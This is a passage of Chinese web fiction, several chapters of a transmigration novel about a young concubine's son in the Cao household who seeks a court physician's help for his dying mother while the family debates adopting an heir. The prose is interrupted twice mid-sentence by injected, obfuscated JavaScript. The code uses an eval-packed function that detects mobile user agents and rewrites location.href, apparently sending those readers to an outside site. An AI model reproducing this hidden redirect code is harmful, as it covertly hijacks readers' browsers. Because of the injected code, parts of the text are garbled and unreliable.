“他听说您病了,请我将这平安符转交给孙嬷嬷,让孙嬷嬷转交给您,以保您能够平安顺遂。” 孙老夫人伸手接过这平安符,见上头的绣线都有些脱落,微微叹了口气:“这孩子向来寡言,没想到却有一片孝心。” 想起曹桑实,她并无多少印象。 当年因姜姨娘那一推,常二夫人腹中的孩子未能保住,她对姜姨娘印象很不好。 虽说祸不及孩子,但时人皆信奉歹竹难出好笋,她对曹桑实到底不如旁的孙儿疼爱,更不必提这孩子怯懦寡言,每每与她请安时总是缩在姜姨娘身后,久而久之,她对曹桑实的关注就更少了。 秦院判下去后,孙老夫人就吩咐孙嬷嬷道:“……你差人送些补品过去,常氏从前就不喜欢那孩子,如今府中乱成一团,指不定常氏怎么作贱他。” “姜姨娘纵有千般过错,但他身上却也流着老二的血脉。” 手中摩挲着略有些破旧的平安符,她又道:“罢了,还是你亲自去一趟吧。” “是。”孙嬷嬷应道。 *** 曹桑实手中捧着绣像,守株待兔。 虽知此事有秦院判的帮忙十有八九能成功,但就他们母子俩如今这境地,可是一点纰漏都不能有的。 曹桑实等啊等,终于听到外头传来小丫鬟的惊呼声。 “孙嬷嬷,您,您怎么来了?” “外头冷,您快进来!” “六爷呀,他正在屋子里养病呢!” …… 一阵兵荒马乱后,就有小丫鬟替孙嬷嬷高高挑起门口的毡毛帘,请她进来。 孙嬷嬷不仅是孙老夫人身边的嬷嬷,更是孙老夫人远房堂妹,当年她死了丈夫,被人赶出婆家,是孙老夫人伸出援手。 故而孙嬷嬷一直很感激孙老夫人,照顾起孙老夫人来也是尽心尽力,如今她在曹家东西两府很有些威望,就连故去大老爷曹寅见到她时也是客客气气。 已酝酿好的曹桑实红着眼睛,哑着嗓子开口道:“孙嬷嬷。” 孙嬷嬷一进来,眼神就落在那炭盆上。 炭盆子里没多少炭也就罢了,用的还是价钱只有银霜炭三分之一的红箩炭。 “六爷身子可好些了?老夫人听说你病了,特差我给你送些补品过来。” “今年冬天比起往年来冷上许多,你可要注意身子。” 曹桑实深知话多必露馅的道理,不管孙嬷嬷怎么问怎么说,他是连连点头,惜字如金地回答问题。 孙嬷嬷交代几句,则转身离开。 张乳母甚少与孙嬷嬷这等大人物打交道,送孙嬷嬷出门时是战战兢兢。 孙嬷嬷跟在孙老夫人身边多年,为人处世之道与孙老夫人如出一辙,看着是和和气气,但问出来的问题却叫张乳母无法招架。 “这样冷的天,为何六爷屋里用的是红箩炭而非银霜炭?我记得打从老太爷在世起,曹家主子皆用的是银霜炭。” “六爷既病着,为何不见黄妈妈的人影?她可是有什么事儿?” “姜姨娘近来身子可还好?我记得她向来是个体弱的。” …… 一个接一个问题,问的张乳母是浑身直冒冷汗。 等着孙嬷嬷回去萱瑞堂后,将今日所见所闻原原本本都道了出来。 孙老夫人听闻此话,是长长叹了口气。 “……子钓而不纲,弋不射宿。这么多年,常氏还是一如当年。” “她这是生生要将曹家的孩子逼死啊!” “您莫要生气,二夫人的确是糊涂了些,她向来是这般性子,您何苦因她气坏了自己身子?”孙嬷嬷忙替她顺气,皱皱眉,轻声道,“不过,我不明白,我都过去了,为何六爷是绝不口不提姜姨娘?” 主仆两人讨论来讨论去,很快得出了一个结论——曹桑实与姜姨娘一样,只有一副好皮囊,实则却是个不会告状的小傻子。 此时此刻。 玉树也问出了同样的问题:“六爷,方才孙嬷嬷过来,您怎么不说姜姨娘病了,无人医治一事?” 曹桑实低下头,道:“母亲那性子,旁人不知道,玉树姐姐你还不知道吗?” “若叫她知道我在孙嬷嬷跟前告了她的状,她定会将这笔帐记在心里。” “今日之事一出,祖母定会派人护着我一二,可姨娘……却不会有人护着,她定会将这笔帐算在姨娘头上的。” 大户人家最看重什么? 自然“面子”二字。 他在孙老夫人处给常二夫人留□□面,只要常二夫人不蠢,自会去萱瑞堂负荆请罪,将此事推到黄妈妈等人头上,事情就能轻轻揭过。 若他在孙嬷嬷面前告状,则将常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143029|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二夫人所行之事摆在明面上,是逼着孙老夫人惩治常二夫人。 会如何惩治? 不过是禁足再加罚月钱罢了,对常二夫人而言是不痛不痒,但常二夫人转过头来,却多的是法子叫姜姨娘生不如死。 如今他们母子对上常二夫人,就像鸡蛋碰到石头,何不避其锋芒,隐忍而发? 玉树一愣,继而笑道:“您说的极是。” 她又道:“您病了一场,好像与从前有些不一样呢。” “只是奴婢有件事不明白,您为何会将这件事说与奴婢听?” 曹桑实是甜甜一笑,道:“因为偌大个兰畹,我信得过的除了姨娘就只有玉树姐姐你。” “乳母虽将我从小奶大,但她还有一双儿女要养,向来不敢得罪黄妈妈,兰畹剩下人,就更不必说了,更是唯黄妈妈马首是瞻。” “从前姨娘就与我说过,玉树姐姐你是兰畹中难得的心地良善之人……” 谁不喜欢听好话? 特别是一好看的小娃娃一口一个“玉树姐姐”,听的玉树心都快化了。 甚至曹桑实还承诺等着他长大后还要提拔玉树当一等丫鬟呢,玉树顿时是一腔衷心喷涌而出,笑的眼睛都快看不见。 当天傍晚,常二夫人就去萱瑞堂哭上了一场。 到了孙老夫人面前,她将自己摘得是一干二净,将屎盆子扣在了黄妈妈头上。 至于她,她则是因为大伯去世、婆母病重,伤心欲绝,连西府的杂事都顾不上。 话都说到了这份上,孙老夫人也不可能深究,就算深究,也查不出个子丑寅卯来。 孙老夫人便下了死命令,不仅要严惩黄妈妈,更是要为姜姨娘请大夫看看,到了最后,她更是道:“……老大去了,颙儿又只有十四岁,不知道多少人等着看我们曹家的笑话。” “越是到了这个时候,我们曹家上下越是要拧成一股绳,齐心协力。” “这次姜姨娘之事便算了,若再有下次,可别怪我不留情面。” 常二夫人强撑着笑应是,回去西府正院后先是将屋内的茶盅瓷器乱砸一通,紧接着便吩咐人替姜姨娘请大夫。 曹桑实终于如愿见到了姜姨娘。 先前他们母子见面皆是黑灯瞎火,宛如做贼似的。 待屋内亮堂起来,曹桑实这才发现姜姨娘的脸色比他想象中还要差上许多。 姜姨娘脸色灰白,但眼里却透出几分欢喜来:“……莽儿你可真厉害,没想到还真叫你想出法子来。” “只是可惜了你的好法子,老夫人的性子我大概也知道些的,顶天了也就训上二夫人几句,高高举起轻轻落下。” 到了孙老夫人这般年纪,最喜欢的就是儿孙环绕,家宅和睦。 更别说对孙老夫人这等当家主母来说,姨娘侍妾不过是个玩意儿,死了都不算什么大事,况且这人还没死呢! 曹桑实也跟着笑了起来:“姨娘,您别担心,尚未到最后,事情还不能盖棺定论。” “您如今什么都不要想,好好养着自己的身子就是了。” 母子二人正说着话,就听到守在门口的丫鬟说贺大夫来了。 曹家养着三位大夫,分别姓贺、白、孙,贺大夫医术最佳,平日里都是由他替孙老夫人等主子看病。 随着丫鬟的话音落下,贺大夫就走了进来。 比起要亲自背药箱的白大夫,贺大夫明显待遇不一样,身后还跟了两个替他背药箱的小药童。 贺大夫寒暄几句后,就上前替姜姨娘号脉起来。 可渐渐的,他却是眉头微皱。 曹桑实见状,不安道:“贺大夫,我姨娘的病……要紧吗?” 5. 第 5 章 贺大夫既能得孙老夫人另眼相待,是因他医术与人品俱佳。 他略一诊脉,就得知姜姨娘已油尽灯枯。 姜姨娘身子本就不好,气血两虚,脉象细弱而涩,已伤及心脾。 说白了,就是积郁成疾,谁人都无力回天。 但有些话对上这个五六岁的孩子,他却说不出口。 “六爷放心,姜姨娘这身子并无大碍,我先开一副方子吃上三日,等着三日过后再来看看……” 曹桑实若有所思点点头。 他侧身转头看向姜姨娘,露出一个灿烂的笑容来:“姨娘,我就说您没什么事吧。” “您莫要多心,好好养病,过几日就能痊愈。” 贺大夫见屋内多是刚拨过来的丫鬟,一个个群龙无首、惶然无措的样子,忍不住多交代了几句。 虽说姜姨娘已是病入膏肓,但若保养得宜,也能多活一年半载的。 曹桑实听得是认真极了。 等着贺大夫离开时,他更是主动道:“贺大夫,我送送您吧。” 谁知他刚随贺大夫行至屋外,就开门见山道:“贺大夫,方才您的话是骗我们的对不对?其实我姨娘根本活不了多久了,是吗?” 贺大夫微微一愣,对上那双澄澈的眸子,还是点点头。 “既然六爷您都猜到了,那我也不瞒着您。” “以姜姨娘的脉象来看,不过一年有余的寿数,若是安心养病,尚能多活一年半载。” 他说的“安心养病”,则是用人参等物好生调养,显然兰畹上下并不具备这个条件:“六爷多多劝慰姜姨娘一二,要她莫要多思多虑。” 曹桑实虽意外,却还是客客气气与贺大夫道谢。 贺大夫既是奉了孙嬷嬷之命前来给姜姨娘看诊,出了兰畹,他自是要前去给孙嬷嬷答话的。 萱瑞堂的孙嬷嬷刚服侍着孙老夫人睡下,就听说了这般噩耗。 但她感叹几句姜姨娘后,则对贺大夫道:“老夫人的病症贺大夫比我更清楚,如今幸而得皇上命秦院判来江宁,老夫人的身子这才好转一二。” “老夫人如今对什么病啊死啊的很是忌讳,还望贺大夫莫要声张此事,免得叫老夫人知道了心里又不痛快。” 贺大夫连声应是。 孙嬷嬷转身又进去照看孙老夫人。 她并不觉得自己有错,孙老夫人是曹家的主心骨顶梁柱,可不能有事。 至于姜姨娘……不过当初二老爷五十两银子买回来的黑心玩意儿罢了,没了就没了,不值得因这点小事影响了老夫人的心情。 但她想着曹桑实这孩子可怜,还是吩咐大丫鬟石榴给姜姨娘送去两根二十年的野山参。 *** 石榴前去兰畹时,曹桑实正陪着姜姨娘说话。 曹桑实原身虽是个沉默寡言的,但穿越而来的曹桑实却是个不折不扣的泼猴儿,再加他前世被困在医院几年,实在无聊,如今是搜肠刮肚与姜姨娘说着闲话。 主对主。 仆对仆。 按理说该由黄妈妈迎出去的,可黄妈妈因办事不利,被罚了半年月钱,如今正称病躲在屋子里养病呢。 曹桑实并不露怯,见过石榴,收下野山参,道谢之后,他还不忘命玉树拿了赏钱。 “多谢石榴姐姐这样冷的天还跑一趟,小小心意,还请石榴姐姐莫要推辞。” 石榴方才也听孙嬷嬷闲言几句,知道曹桑实母子日子难过,自不肯收这赏钱。 但曹桑实却道:“石榴姐姐,你就收下吧。” “你该不会是嫌这赏钱少吧?” 石榴无法,只得收下。 跟在曹桑实身后的张乳母见状却不由嘀咕几句:“六爷一出手就是两钱银子,未免太阔绰了些!石榴姑娘是老夫人身边的大丫鬟,这点钱对她来说连塞牙缝都不够,可对您来说却不是小数目。” 曹桑实生病之前,若姜姨娘不在,曹桑实的大事小事她都是能做主的。 说起来曹桑实每月月钱也就四两,姜姨娘每月月钱二两,加起来虽不少,但有黄妈妈刻意刁难,姜姨娘夜里想用热水、吃碗面都要使银子。 一来二去的,六两银子自是不够用。 当着墙头草·张乳母的面,曹桑实并未解释。 等着他行至屋内,则与姜姨娘道:“……都说宰相门前三品官,祖母就是曹家最大的官,她身边的人可不能得罪。” “有些钱是不能省的,若能得祖母多问上几句,谁还敢为难我们?” 姜姨娘想着这几日夜里吃喝都不用再使银子,也能猜到是常二夫人有所顾忌,笑道:“好,你看着办就是了。” 接连三日,兰畹内是汤药不断。 可惜,姜姨娘的身子并无多大起色。 等着贺大夫再来兰畹时,把脉之后只将药方略作调整一二,与曹桑实说话时,话里话外的意思皆是这药方只起调养作用,治不了根本。 曹桑实老气横秋叹了口气,送了贺大夫出门。 比起他来,玉树则是着急许多,低声道:“六爷,这下该怎么办才好?姜姨娘若是没了,您就要养在二夫人名下……” 她想想就觉得吓人。 常二夫人出身虽不如李大夫人显赫,但手段却是高明,想当年她生下长子后几年无所出,二老爷曹荃接连纳了好几房美妾,却没有一个人生出孩子来。 后来还是孙老夫人动了怒,指责她“善妒不容人”,要将她休掉,她怕了,这才有二姑娘曹婉、二爷曹颀、五爷曹頫接连出生。 只是这三人生母皆是常二夫人的陪嫁丫鬟,身契一直捏在常二夫人手上。 当年二姑娘曹婉生母沈姨娘仗着自己诞下孩子,是有功之臣,很是张狂了一阵,但她没几个月就“病”死了。 如今曹荃去世,常二夫人更是将曹荃的那些姨娘小妾一股脑打包送去了庄子上,如今西府的姨娘也就姜姨娘并鹌鹑似的罗、卫姨娘几人。 至于曹颀、曹頫兄弟二人,每每见到常二夫人就像是老鼠见到猫似的,吓得不行。 “玉树姐姐,你别着急。”曹桑实强迫自己冷静下来,道,“兵来将挡水来土掩,如今尚未到天无绝人之路,总会有办法的。” 他想到了秦院判。 当日孙老夫人命悬一线,秦院判尚能将人救回来,想来医术极其高明。 只是,到底怎么才能叫不愿多管闲事的秦院判松口答应救姜姨娘? 曹桑实只觉这又是一桩难事。 他安置姜姨娘睡下后,就回屋东翻翻西找找,将自己历年攒的压岁钱都翻了出来。 早在贺大夫来兰畹这一日,他就已命玉树将这笔钱送到秦院判面前,只是秦院判根本没收,直要玉树转告他,这点钱多给姜姨娘买些补品好好补一补。 曹桑实拿着荷包,便直奔东府萱瑞堂而去。 他虽不得宠,却好歹是曹家主子,一路自是畅通无阻。 曹桑实很快来到萱瑞堂。 虽说萱瑞堂看似雅致,但这份雅致却是拿真金白银堆出来的,足以遮天蔽日的大红酸枝木,院子一角潺潺流淌的清泉,亭台楼阁、水榭廊坊是绿水环绕……在这寒冬腊月里是宛如仙境。 更不必提萱瑞堂的丫鬟们一个个是样貌姣好、进退有度。 这一刻,世家的底蕴是展露无遗。 曹桑实前来萱瑞堂,第一件事自是给孙老夫人问安。 虽说他没想过今日能见上孙老夫人一面,却万万没想 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搬至外院后,与逢年过节才来孙老夫人露脸的曹桑实不一样,不论刮风下雨或严寒酷暑,每日都会来萱瑞堂陪孙老夫人说说话,一日未曾懈怠。 故而曹颙虽口口声声说自己是因近来勤学苦读有所清减,但还是不忍叫孙老夫人担心,任由着秦院判给自己把脉。 纵然秦院判诊脉之后口口声声说无事,但孙老夫人还是察觉到了不对劲。 这不,孙老夫人寻了个借口将石榴等人都打发了下去,偌大个屋子只留下了个孙嬷嬷伺候,这才沉声开口。 “秦院判,你就实话实说吧,我活到这般年纪,还能有什么受不住的?” “颙儿,颙儿……身子可还好?” 秦院判仍是欲言又止。 “秦院判,难道你还要我跪下求你不成?”孙老夫人过往几十年不是白活的,已察觉不对,哽咽道,“说吧,如今曹家已是摇摇欲坠。” “有些事情,我早弄清楚,也好早做打算。” 秦院判斟酌一二,委婉道:“三爷的脉象看似不过血气不足、脏腑虚损,但仔细探究一二,却能发现其脉时有缓慢,时有中止,止无定数,良久方还。” “此病症看似并无大碍,好生将养些日子就能痊愈,但……” 他看着眼前满头银丝、刚丧子不久的孙老夫人,只觉有些话若道了出来实在残忍。 “但,我翻阅大老爷故去之前的脉案,发现早在数年之前,大老爷便时常察觉‘耳鸣目昏,常有恶心、晕眩之症’。” “贺大夫说大老爷是因痢疾病故,依我愚见,大老爷却是心气衰微,这才导致纵有名医医治,却无力回天。” “三爷看似……是与大老爷一样的病症。” 若前世死于心脏病的曹桑实在场,定会为孙老夫人解惑一二。 说白了,曹寅是死于心脏病。 从曹颙的脉象来看,这心脏病还是遗传的。 如此,为何曹玺、曹寅等人为何会英年早逝,就能说得通。 孙老夫人一怔,继而眼泪簌簌落了下来,似使出浑身力气问道:“那依秦院判看,颙儿还能有几年活头?” 自曹寅死后,只有十四岁的曹颙就成了新一任的江宁织造,肩上似是押了万两千金,忙活了好几个月,在他的舅父苏州织造李煦的帮衬下,这才对政务有个一知半解。 若曹颙也早早去世,那真是对风雨中摇摇欲坠的曹家一致命打击。 “若细细调养的话,大概……”秦院判长叹一口气后,方道,“大概也就两三年的光景。” 6. 第 6 章 茶房里的曹桑实隐约也察觉到不对劲。 接连有石榴、木槿等人来到茶房。 石榴是前来看看小丫鬟将的药熬得如何,木槿却是过来躲懒喝茶的……曹桑实眼见着老夫人身边已避出来两个大丫鬟,心知里屋定是发生了什么要紧事。 比起为人和善的石榴,木槿的老子娘皆是曹家家生子,还是很得脸的那种,故而与曹桑实请安后就自顾自喝起茶来。 石榴凑过去低声道:“六爷,您怎么过来了?可是过来给老夫人道谢的?” “老夫人这些日子正病着,怕是不会见您,您不如过些日子再来……” “不是。”曹桑实脆生生道,“我是过来找秦院判的。” 木槿听到这话,不由心底嗤笑一声。 呵。 只怕是这不得宠的小主子想找老夫人撑腰呢。 就像大老爷身边那几个姨娘,她们知道李大夫人心性高洁、出身尊贵,一日日的有事没事就来陪老夫人说话! 但这话她也就是在心里想想,曹家规矩森严,有些话可是不能乱说的。 石榴正欲差小丫鬟去小厨房捡几样刚出锅的糕点,就见着秦院判脸色沉沉走了进来。 曹桑实站起身,扬声道:“秦院判。” 秦院判一愣:“你怎么在这儿?” “我是今日过来给您道谢的。”曹桑实面上仍满是笑容。 他很想开口说请秦院判救救姜姨娘,但此处人太多,他知道就算他开口秦院判也绝不会答应。 他胡言乱语闲扯了几句,这才离开。 如今秦院判眼里心里只有孙老夫人的病情,想着今日开始,孙老夫人的病情定会加重,正思量着如何更改药方时,就有小药童过来道:“院判大人,这是实六爷要小的交给您的。” “他为何不亲自给我?”秦院判很是好奇。 他打开荷包一看,只觉有些熟悉。 这不是当日曹桑实准备收买他的碎银角子和银票子吗? 秦院判是多聪明的人呐,略一思量,就知道曹桑实到底是什么意思,却是毫不犹豫道:“将这荷包还回去吧。” 那小药童刚转身要走,他又道:“等等,你与实六爷说一声,就说我刚至江宁时,颙三爷已派人送来黄金千两。” 好端端的,大人说这些做什么? 小药童不懂。 当小药童将这话原封不动转述给曹桑实时,曹桑实身边的玉树同样不解。 曹桑实低头看着原封不动送回来的荷包,笑了笑。 “秦院判的意思很明白,他不缺钱,更不缺我这点小钱。” “他叫我死了请他为姨娘看诊的心。” “那,那……该怎么办?”玉树皱眉,低声道,“今早上姜姨娘也就吃了半碗粥,是一日比一日吃得少,若这样下去,姜姨娘哪里受得住?” 曹桑实认真道:“秦院判拒绝归拒绝,但我却不能知难而退。” “如今摆在我面前的,也唯有这一条路。” “只要功夫深铁杵磨成针,兴许秦院判看在我一片孝心的份上,会松口呢?” 前世他十岁那年被查出有心脏病,托他那暴发户老爸的福,他并没有被放弃。 可随之而来的却是暴发户老爸很快有了小三、小四、小五,就算病床上的他知道了这些事,他那暴发户老爸却是振振有词道——你活不长,总不能眼睁睁看着我们老曹家绝了后吧? 所以他挣扎辛苦活到十八岁,明白了三个道理。 一,不到最后一刻,决不放弃。 二,该绿茶时要绿茶,该厚脸皮时要脸皮厚。 三,身体好才是最紧要的事。 正因他前世的顽强不屈,临终之前为他那柔弱不能自理的母亲争到了一半的股份,够他母亲一辈子锦衣玉食。 重来一世,曹桑实也不会轻言放弃。 接下来几日里,他闲来无事就往萱瑞堂跑。 今日,他给秦院判送两碟子糕点。 明日,他给秦院判送一小筐福橘。 后日,他给秦院判送一坛金谷酒。 …… 这一日,秦院判看了看一脸憨笑,听不懂他言外之意的曹桑实,又看了看桌上那坛金谷酒,只觉头痛。 曹桑实更是喋喋不休道:“……我听人说您夜宵时喜欢小酌几杯,这金谷酒碎算不上什么好东西,却得唐朝诗仙李白喜欢,想来应该是不错的。” 秦院判微微叹了口气,道:“你跟我来。” 曹桑实很快跟在他身后去了空置的穿山游廊厢房,这里养着各色鹦鹉、画眉等鸟雀,还养着很多名贵花木。 “六爷,我以为我当日已与你说的很清楚了。”秦院判看着眼前半人高的孩子,语气冷冽,“此次我前来江宁,是奉皇上旨意给孙老夫人治病,等着孙老夫人痊愈之后,我就会回京。” 他对上曹桑实那双单蠢澄澈的眸子,决心把话说得更清楚点:“我虽来曹家时间不长,却也知道曹家与所有高门大户一样,内里多是龌龊嫌隙,我不愿沾染其中。” “你的孝心可贵,若想为姜姨娘治病,还是寻别人去吧。” 曹桑实若有所思“哦”了一声。 他想。 若他能寻到比秦院判医术还高明的大夫,哪里会在这里死缠烂打? 如今气氛带着几分尴尬与决绝,他正欲说上几句缓和的话时,却听到不远处传来瓷器落地的声音。 紧接着,就有孙老夫人那熟悉的训斥声传来过来:“……你心疼颙儿,难道我不心疼他吗?” “颙儿自满月后就养在我身边,若是刻意,我恨不得用我的命去换他的命!” “可是,这等事根本不是你我二人能够决定的!” “先人已故,剩下的人还得好好活着,难道,难道——你要置这曹家上下几百口人命于不顾吗?” 曹桑实这才想起穿山游廊厢房乃萱瑞堂的正房不远。 想来是秦院判打算与他长话短说,很快就将他打发走,所以才选了这地方——毕竟老夫人身子不大好,为担心有什么闪失,若无要紧事,秦院判不好走远的。 秦院判面上也浮现些许尴尬之色,低声道:“六爷,该说的话我已经走了,你就回去吧。” 这话说完,他转身就走。 曹桑实只能跟上。 *** 萱瑞堂。 里屋。 曹寅亡妻李大夫人哭的泣不成声,瘦弱的肩膀是一抖一抖,真真是伤心欲绝。 默默流泪的孙老夫人虽不如长媳情绪外放,但从她眼下的乌黑就能看出她已多日未睡好。 李大夫人约莫四十岁左右的年纪,面容清瘦,模样端秀,出身大族,其伯父李士楨为正白旗佐领李西泉义子。 她虽为李士楨弟弟之女,但因从小双亲亡故,所以养在大伯身边,又因大伯膝下多年无女,是当成嫡亲姑娘一样看待。 当年她是作为续弦嫁给曹寅的,可夫妻成亲当年就生下长子曹颙,但再曹颙之后,不管如何求医问药,求神拜佛,再未有所出。 纵然如此,但她与曹寅夫妻多年,是琴瑟和鸣、恩爱有加。 七月,曹寅去世对她来说已是重重一击,如今听说唯一的儿子活不长,怎会不伤心难过? 孙老夫人见她这般,眼泪掉的是愈发厉害:“人活着总是要向前看的,既然颙儿一事无力回天,就更得强打起精神好好活下去。” “颙儿向来是个懂事听话的好孩子,若知道你因为他伤心难受,也会跟着难过。” “如今当务之急是选出个孩子来,等着颙儿……没了之后,曹家也能有人能站出来,咱们日后也不至于无头苍蝇一样乱窜。” 李大夫人仍眼泪不止,却未像方才那样出言反对。 孙老夫人擦干净眼泪,强忍悲痛道:“老二膝下有四个儿子,叫我说,顺儿是最合适的。” 故去二老爷曹荃膝下有四子两女,除去遗腹子曹桑实,还有大爷曹顺,二爷曹颀,五爷曹頫。 其中曹顺曾过继到曹寅名下。 此事若细细说来,可就说来话长。 当年先帝正值盛年驾崩,皇上继承大统,孝庄太皇太后念及皇上年幼,打算为皇上择选几位保母侍奉其左右。 家世清白,为人敦厚睿智的孙老夫人正是其中之一。 后又因孙老夫人的关系,曹寅进宫成为皇上伴读,后来擢升为御前一等侍卫,苏州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此事已过去多年,孰是孰非已不好再论。 但自李大夫人进门之后,这妯娌两人就不大对付。 “母亲。”李大夫人想着曹寅死后弟妹眼里的幸灾乐祸,想也不想就道,“您说要过继个儿子到老爷名下以防万一,我并没有意见。” “只是,曹顺不行。” 她看向炕上的孙老夫人,哑着嗓子道:“且不说曹顺已年逾三十,就说他这些年见到我这个伯母总是一副爱答不理的样子,我更不会答应。” “我是想多个儿子,可不是多个祖宗,来日不说指望他给我尽孝养老,不给我甩脸子看就不错呢。” “更别提曹顺身后还有个常氏在,您若在,常氏还能给我一两分面子。” “待您百年之后,指不定常氏如何作贱我呢。” 孙老夫人一点不意外。 冰冻三尺非一日之寒,东西两府嫌隙已深。 她没打算且也没精力在此时多说什么:“那关于过继一事,你是如何想的?” 李大夫人想了想,认真道:“曹家枝繁叶茂,纵然您膝下只有两个儿子,但旁支却是孩子不少,从其中挑个合适的出来应该不难。” 何为合适? 年纪最好是七八岁,太大了养不熟。 若太小,曹颙去世后,怕是难以撑起整个曹家。 孙老夫人颔首道:“既然你都这样说了,我便差人去打听看看。” “毕竟那孩子以后可能还要唤你一声母亲,总是要以你的意见为主。” 李大夫人很快就走了。 待她一走,孙老夫人就直叹气。 一旁的孙嬷嬷心疼道:“当真要将这泼天富贵让给旁支吗?这么些年下来,他们背地里做过些什么,大夫人也是清楚的。” “纵然大夫人不喜二爷和二夫人,但西府的几个孩子身上都流着您的血脉。” “就算大爷不行,不是还有二爷和五爷吗?” 其实孙老夫人最满意的是曹頫,方才提起曹顺只是试一试儿媳的态度。 曹頫虽是庶子,但今年八岁的他乖觉上进,懂事孝顺,性子不似曹荃,更像他姨娘卫氏些。 她一向觉得有其母必有其子,卫姨娘性子绵软善良,教出来的儿子自不会坏到哪里去。 至于曹桑实。 他压根不在孙老夫人的考虑范围之内。 “罢了,我年纪大了,已是半截身子入土的人,不愿再多管这些事。” “等着旁支选出几个孩子后,我再在李氏跟前提提頫儿,若她实在不愿意,也只能算了。” 7. 第 7 章 今日为何孙老夫人会大发雷霆,与李大夫人说那样的话? 回去的路上。 纵然曹桑实想了一遍又一遍,仍是百思不得其解。 可不过两三日,他就从玉树嘴里听说了重磅消息。 “……奴婢听张乳母说,大夫人想在族里过继个年幼的儿子养在东府呢。” “如今这消息东西两府都传遍了,说是大夫人自大老爷去世后就一直心情不好,便想着过继个儿子陪在自己身边解闷说话呢。” 解闷? 说话? 穿越至今,曹桑实虽尚未见过这位伯母,却对李氏也是有点印象的。 李氏是个话不多的高门女子,性情耿直,即便曹寅从前时常劝他们与二房是一家人,不管私下有何嫌隙,但面子上要过的去。 但她对上曹荃夫妇,采取的却是“人不犯我我不犯人,人若犯我我不客气”的作战方案。 以至于这么多年下来,曹荃夫妇根本没在她跟前讨得什么好处。 从前的李氏就像莲花,高洁冷清,不愿与世俗同流合污。 但自曹寅死后,她这朵莲花就迅速衰败,整日将自己关在屋内吃斋念佛,一整日说不上几句话。 曹桑实实在想象不到李大夫人这样的人会想着养个小孩子解闷。 他很快将李大夫人的反常与萱瑞堂当日之事联想起来。 难道,此事与曹颙有关? 曹颙活不长了?! 这个念头一旦冒起,曹桑实越想越觉得极有可能。 记忆中,他对曹颙这位堂兄印象还不错,记忆中的曹颙总是脸色苍白,一副病弱的模样。 他顿时明白李大夫人并非是找个陪在自己身边的儿子,而是挑选嗣子,不然为何她不要女儿非得要个儿子? 直至这时,曹桑实仍未生出什么不该有的心思。 方才玉树可是说了。 这孩子不仅要年纪不大不小,身子康健,聪明孝顺,最好还要父母双亡。 这都不是最重要的,最重要的是被选中后就能过上好日子了吗? 不。 不是的。 等着曹颙死后,这人会成为曹家下一任家主,背负曹家亏欠朝廷的三百万余两银子的负债。 三百多万两银子! 这是什么概念? 曹桑实大概换算了下,如今一两银子约莫值后世的五百块钱,嗯,曹家也就欠朝廷十六亿左右吧。 他不由怀疑伯父曹寅去世与这么大一笔债务有很大关系! 曹桑实心里感叹几句后,就彻底将此事忘到脑后。 姜姨娘却对此事上了心。 从前因那些丫鬟婆子失职,她身边虽发落了几个“不听话”的人,但如今身边伺候的仍是常二夫人的人,最擅阳奉阴违。 故而但凡曹桑实抽不开身,就会要玉树陪在姜姨娘身边。 如今东府即将又添一子可是大事,玉树来来回回的也就能与姜姨娘说上这些事。 “……奴婢听说二夫人有意将五爷送到东府去,二夫人嘴上说的是东西两府同为一家,愿意送五爷去东府尽孝。” “但二夫人打的是什么主意,谁不知道?无非想着想叫五爷去分东府一杯羹。” “毕竟五爷以后是要管大夫人叫声‘母亲’的,于情于理,大夫人总得分点好东西给他的,来日西府原属于五爷的那一份就能攥在二夫人手上。” 因李大夫人双亲早亡,膝下只有她这一个女儿,所以家中财产都给她当了陪嫁。 更不必说还有她伯父堂兄等人后来又添了不少陪嫁,她的嫁妆可谓丰厚至极。 什么锅配什么盖,曹荃死前也就堪堪六品官,能娶得常二夫人这个知府嫡女也算是相配,常二夫人兄弟众多,她的陪嫁自然没多少。 “要将五爷送去东府?”姜姨娘一愣,下意识道,“那卫姨娘舍得吗?” “卫姨娘自然是舍得的。”玉树直率,并未多想,“孩子养在大夫人名下,就是大夫人的嫡子,且不说以后前程如何,就连以后的亲事就能强上不少。” “奴婢还听人说,正因大爷从前曾养在过东府,得了不少实在实的好处。” 顿了顿,她更是压低声音道:“奴婢还听说,卫姨娘已开始绝食,日日小厨房送的东西是怎么送进去就怎么端出来,想来是听说大夫人想要父母双亡的孩子……” 玉树有一搭没一搭说着话。 姜姨娘却陷入了沉思。 她自己的身子骨如何她心里有数,想必已是油尽灯枯,若能为儿子挣个好前程,以后就算到了九泉之下也没什么愁的。 一日日下来,她便趁着玉树等人不注意,偷偷将药调掉。 曹桑实虽对姜姨娘的病情上心,却将更多心思放在了秦院判身上。 反正秦院判已经将话挑明,索性他就更不要脸,堂堂一曹家主子整日跟在秦院判身后忙个不停,一会替秦院判看炉子,一会替秦院判跑腿……偏偏他身份特殊,当众秦院判总不好赶人吧? 倒是萱瑞堂的丫鬟婆子们私下议论起此事来对曹桑实很是不屑,甚至木槿还说他“半点主子的样子都没有,真真丢脸”。 石榴听到这些风言风语,有些于心不忍,提点了曹桑实几句。 但曹桑实道谢之后依旧是我行我素。 面子重要吗? 自然是重要的,却是及不上性命万分之一重要! *** 另一边,孙老夫人处也是进展不顺。 老太爷曹玺只有一弟曹尔玉,这弟弟比老太爷小二十岁,家中孙儿只有寥寥几个,可挑选的人并不多。 老太爷的堂兄弟倒是不少,但不少人却是心怀不轨,所以入选的孩子也就五六个而已。 孙老夫人捏着京城送来的信笺,却是咳嗽个不停。 孙嬷嬷见了,连忙上前顺气:“您莫要着急,好事不怕磨,您何苦因这等事伤了自己身子?” “叫奴婢说,五爷是顶顶合适的人选。” “等过上几日,大夫人心情好些了,您再在大夫人跟前提上一提,保准大夫人会答应,一辈归一辈,这些小辈却是无辜的。” 